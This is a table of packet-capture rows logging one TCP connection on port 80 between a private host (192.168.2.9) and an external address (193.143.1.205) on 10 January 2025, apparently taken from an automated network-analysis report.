Jan 10, 2025 22:50:37.023124933 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.023137093 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.023149967 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.023161888 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.023190022 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.023190022 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.023277998 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.023303032 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.023333073 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.023838043 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.023868084 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.023880959 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.023883104 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.023925066 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.023947001 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.023976088 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.023983955 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.023983955 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.023994923 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.024033070 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.024065018 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.024077892 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.024116039 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.024127960 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.024141073 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.024142027 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.024198055 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.024919987 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.024933100 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.024950027 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.024964094 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.024980068 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.024991989 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.024991989 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.024997950 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.025003910 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.025039911 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.025039911 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.025047064 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.025059938 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.025078058 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.025090933 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.025104046 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.025125027 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.025125027 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.036169052 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.036183119 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.036195040 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.036210060 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.036236048 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.036300898 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.053054094 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.053078890 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.053090096 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.053111076 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.053158998 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.053235054 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.053256035 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.053303003 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.094137907 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.094149113 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.094156027 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.094161987 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.094228029 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.106919050 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.112312078 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.112334967 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.112346888 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.112363100 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.112380981 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.112423897 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.112437963 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.112459898 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.112474918 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.112483978 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.112510920 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.112580061 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.112597942 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.112610102 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.112622976 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.112648964 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.112798929 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.112812042 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.112823009 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.112864017 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.112864017 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.114108086 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.141808987 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.141822100 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.141882896 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.141906977 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.141943932 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.141956091 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.141992092 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.142056942 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.142067909 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.142117023 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.142182112 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.142191887 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.142204046 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.142229080 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.142265081 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.142278910 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.142286062 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.142290115 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.142328978 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.142359018 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.142370939 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.142384052 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.142416000 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.142416000 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.142448902 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.142462015 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.142510891 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.142582893 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.142595053 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.142611027 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.142626047 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.142646074 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.142673969 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.142688036 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.142745972 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.142756939 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.142788887 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.142832994 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.142839909 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.142843008 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.142915964 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.142951012 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.142963886 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.143002987 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.143055916 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.143101931 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.143114090 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.143182039 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.143189907 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.143203020 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.143217087 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.143253088 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.143253088 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.143333912 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.143346071 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.143357038 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.143420935 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.143445015 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.143456936 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.143536091 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.143533945 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.143533945 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.143534899 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.143596888 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.143620968 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.143634081 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.143656969 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.143711090 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.143714905 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.143798113 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.143809080 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.143821001 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.143835068 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.143881083 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.143881083 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.143991947 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.144004107 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.144016981 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.144027948 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.144040108 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.144042015 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.144056082 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.144067049 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.144094944 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.147298098 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.147310019 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.147325993 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.147337914 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.147350073 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.147355080 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.147363901 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.147373915 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.147393942 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.147479057 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.147491932 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.147504091 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.147516966 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.147521973 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.147538900 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.147542953 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.147551060 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.147564888 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.147589922 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.147600889 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.147628069 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.147857904 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.147872925 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.147887945 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.147900105 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.147912979 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.147912979 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.147927046 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.147938013 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.147948027 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.147959948 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.147973061 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.147984982 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.147984982 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.147990942 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.148020983 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.148166895 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.148175955 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.148184061 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.148211956 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.148221970 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.148227930 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.148300886 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.148313046 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.148325920 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.148339033 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.148339987 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.148365974 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.148494959 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.148508072 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.148520947 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.148534060 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.148545980 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.148561001 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.148565054 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.148565054 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.148618937 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.148649931 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.148659945 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.148686886 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.191485882 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.206329107 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.206351995 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.206363916 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.206383944 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.206398964 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.206423044 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.206423998 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.206494093 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.206509113 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.206562996 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.206589937 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.206603050 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.206614971 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.206634045 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.206679106 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.206708908 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.206722021 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.206734896 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.206748009 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.206759930 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.206762075 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.206772089 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.206814051 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.206814051 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.206944942 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.206969976 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.206993103 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.207011938 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.207011938 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.207024097 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.207082987 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.207114935 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.207129002 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.207158089 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.218533993 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.226464033 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.234517097 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.234585047 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.234694958 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.234707117 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.234725952 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.234739065 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.234750986 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.234764099 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.234776974 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.234781981 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.234782934 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.234788895 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.234802008 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.234802008 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.234816074 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.234832048 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.234849930 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.234850883 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.234849930 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.234863997 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.234873056 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.234894037 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.234896898 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.234909058 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.234919071 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.234931946 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.234932899 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.234942913 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.234955072 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.234966040 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.234966040 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.235013008 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.235021114 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235033989 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235054016 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235060930 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235085011 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.235102892 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.235124111 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235133886 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235145092 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235157013 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235172033 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.235219002 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.235245943 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235264063 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235275984 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235287905 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235301018 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235305071 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.235337973 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.235390902 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235403061 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235414028 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235425949 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235430956 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.235436916 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235450983 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235455990 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.235487938 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.235513926 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235558987 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.235564947 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235578060 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235590935 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235615015 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.235769987 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235780954 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235790968 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235805035 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235815048 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235827923 CET	80	49765	193.143.1.205	192.168.2.9
